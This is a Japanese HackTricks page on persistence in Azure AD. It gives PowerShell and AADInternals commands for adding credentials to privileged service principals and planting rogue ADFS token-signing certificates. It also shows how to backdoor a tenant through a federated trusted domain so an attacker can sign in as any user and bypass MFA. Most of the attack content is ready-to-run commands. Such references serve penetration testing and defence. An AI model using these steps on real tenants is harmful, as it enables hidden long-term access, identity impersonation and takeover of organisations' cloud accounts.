Az - Persistence

Support HackTricks

デフォルトでは、任意のユーザーがAzure ADにアプリケーションを登録できます。したがって、高い影響力のある権限が必要なアプリケーション(ターゲットテナント専用)を管理者の同意で登録できます(管理者であれば承認できます) - ユーザーの代理でメールを送信したり、役割管理を行ったりすることなどです。これにより、成功した場合に非常に有益フィッシング攻撃実行することができます。

さらに、あなたのユーザーとしてそのアプリケーションを受け入れることで、アクセスを維持する方法としても利用できます。

Applications and Service Principals

アプリケーション管理者、GA、またはmicrosoft.directory/applications/credentials/update権限を持つカスタムロールの特権を持つ場合、既存のアプリケーションに資格情報(シークレットまたは証明書)を追加できます。

高い権限を持つアプリケーションをターゲットにすることも、高い権限を持つ新しいアプリケーションを追加することも可能です。

アプリケーションに追加するのに興味深い役割は、特権認証管理者ロールであり、これによりグローバル管理者のパスワードをリセットすることができます。

この技術はまた、MFAをバイパスすることも可能です。

$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
  • 証明書ベースの認証の場合

Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>

Federation - Token Signing Certificate

DA権限を持つオンプレミスADでは、非常に長い有効期限を持つ新しいトークン署名およびトークン復号化証明書を作成およびインポートすることが可能です。これにより、私たちはImmutableIDを知っている任意のユーザーとしてログインすることができます。

以下のコマンドをADFSサーバーでDAとして実行して、新しい証明書を作成し(デフォルトのパスワードは'AADInternals')、それらをADFSに追加し、自動ロールオーバーを無効にし、サービスを再起動します:

New-AADIntADFSSelfSignedCertificates

次に、Azure ADで証明書情報を更新します:

Update-AADIntADFSFederationSettings -Domain cyberranges.io

Federation - Trusted Domain

テナントにGA権限がある場合、新しいドメインを追加することが可能です(確認が必要です)、その認証タイプをFederatedに設定し、ドメインを特定の証明書(以下のコマンドのany.sts)および発行者を信頼するように設定します:

# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true

参考文献

HackTricksをサポートする

Last updated